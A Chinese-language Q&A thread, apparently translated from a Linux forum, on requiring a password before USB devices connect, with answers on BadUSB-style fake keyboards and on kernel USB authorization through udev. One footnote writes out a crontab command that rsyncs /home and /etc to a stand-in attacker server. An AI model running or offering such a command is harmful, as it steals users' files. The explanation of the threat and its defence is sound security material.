![如何设置连接 USB 设备的密码请求?](https://linux22.com/image/217916/%E5%A6%82%E4%BD%95%E8%AE%BE%E7%BD%AE%E8%BF%9E%E6%8E%A5%20USB%20%E8%AE%BE%E5%A4%87%E7%9A%84%E5%AF%86%E7%A0%81%E8%AF%B7%E6%B1%82%EF%BC%9F.png)
我需要这样做,以便当我将任何设备连接到 USB 时,无论是驱动器、智能手机、打印机等,系统都会要求输入密码来授权此连接,并且设备只有在输入密码后才会连接并开始工作正确的密码。我该怎么做呢?
答案1
恐怕目前 USB 的工作原理还无法做到这一点。 (部分原因是 USB 在 Linux 下的工作方式。)
- 当您插入 USB 设备时,硬件会检测到它(否则没有任何东西可以告诉您的计算机有新的 USB 硬件,而且,这是保持总线运行所必需的)
- 操作系统内部有一个数据结构,用于存储有哪些 USB 设备。它必须在那里创建一个新条目,例如“总线地址 03:01 处有一个新的未知类型的设备”
- 要弄清楚这是什么类型的设备,它必须询问设备:嘿,告诉我,你是谁?
- 设备以供应商 ID 和产品 ID 进行应答。这只是两个可以自由发明的数字。 “良性”USB 设备当然会选择发送正确代表它们的 ID。 USB 中绝对不存在以某种方式验证这一点的机制。
- 该设备还发送一个包含其内容描述的字符串。相同的交易:设备可以自由选择,而不是每次都强制发送相同的内容。
因此,我们需要意识到的第一件事是:如果您想防范恶意设备,这将是一个问题。我可以 - 简单地 - 拿一块 5 欧元的微控制器开发板,对其进行编程,让它说“嘿,我是一个键盘,和我的程序员走进公司办公室时在接待员桌子上看到的键盘类型完全相同” ,你的 Linux 必须信任它。为什么?它没有办法辨别真假,你必须将公司键盘列入白名单,否则你无法登录。
但如果您将键盘列入白名单,那么您将立即接受我的设备而无需确认。然后,我的伪键盘将在不到一秒的时间内将所有用户的文件上传到中央服务器,或删除用户可以删除的所有内容,或安装键盘记录器。
顺便说一句,情况会变得更糟:如果您插入 USB 设备,并且内核将其识别为已经加载驱动程序的设备(例如,另一个笔式驱动器),则驱动程序可能会附加到该设备而无需告诉用户土地。如果用户空间中没有人注意到,则无法向您显示确认对话框。
但如果你想防范恶意用户,这个方案无论如何都没用。他们要么不关心您是否知道他们输入了密码以允许连接他们实际上不应该连接的 USB 设备,要么他们使用与伪键盘、合法打印机和电缆内 USB 集线器所描述的相同的技巧和一位同事。同事打开打印机,输入一个声称是兄弟打印机的设备密码,但实际上是恶意的,想知道为什么他们必须输入密码两次(对于真正的打印机来说第二次)并且没有意识到他们已经被盗了。
1 键盘很好,因为几乎任何个人电脑都有一些充当键盘的设备 - 即使那只是耳机上的音量按钮 - 如果我是键盘,我可以模拟按下我需要的按钮一个终端(win terminalenterAlt+F2xtermenterAlt+F2xfce-te……直到我确信至少必须打开一个终端窗口),然后做我想做的任何邪恶的事情(echo⏘'0⏘*⏘*⏘*⏘1-5⏘rsync⏘/home⏘/etc/⏘rsync://deaddropserver.com/evil'⏘|⏘crontab⏘-……),然后关闭我可能打开的所有窗口,确保至少有一个终端窗口被打开打开 (Ctrl+DAlt+F4Alt+F4Alt+F4Alt+F4…)
答案2
尽管用户通常看不到,但所有 USB 设备的添加、更改和删除都会触发 udev 事件。
Linux USB 支持已经包含一项功能,可以设置为禁止使用 USB 设备,直到它们首先经过用户空间的审查。看:https://www.kernel.org/doc/Documentation/usb/authorization.txt
默认情况下,所有 USB 设备都将被授权使用。第一步是更改默认值:
for i in /sys/bus/usb/devices/usb*
do
echo 0 > "$i/authorized_default"
done
然后,您可以添加 udev 规则以使用 D-Bus 或类似规则,将有关任何新的或更改的 USB 设备的信息传递到用户空间工具,该工具将以人类可读的方式识别设备并询问密码。由于现代版本的 udev 不允许长时间运行的进程,并且可能应用各种级别的沙箱来防止与用户会话直接交互,因此这样的中间步骤是必要的。
成功输入密码后,检查密码的元素会将其添加到某种可接受设备的白名单中,并将“授权”属性翻转为/sys/bus/usb/devices/<some path..>
1(真)。在此之前,即使该特定类型设备的驱动程序已加载,它们也不会获得设备存在的信息。
授权设备可能会触发其他 udev 事件,因此您可能需要在上述规则之前使用另一个 udev 规则,该规则首先检查该设备是否已列入白名单,如果是,则以非交互方式允许它。
该检查还必须包括检查设备类型:如果之前作为 USB 存储设备列入白名单的设备突然重新连接,并且现在声称是连接了 USB 存储设备、键盘和鼠标的 USB 集线器,则它应该触发新的密码请求并突出显示设备报告的功能与以前不同的事实。
你必须对任何声称是类似键盘的设备更加严格 - 但你也必须有某种方法来处理诸如“老板将他的键盘和鼠标泡在咖啡中并且需要他的计算机再次可用”之类的事情尽快”。因此,如果通过单独的序列号检查键盘,那么支持人员需要一个“普遍接受的主键盘”,以便他们能够向任何丢失所有先前授权的系统授权新的鼠标和键盘。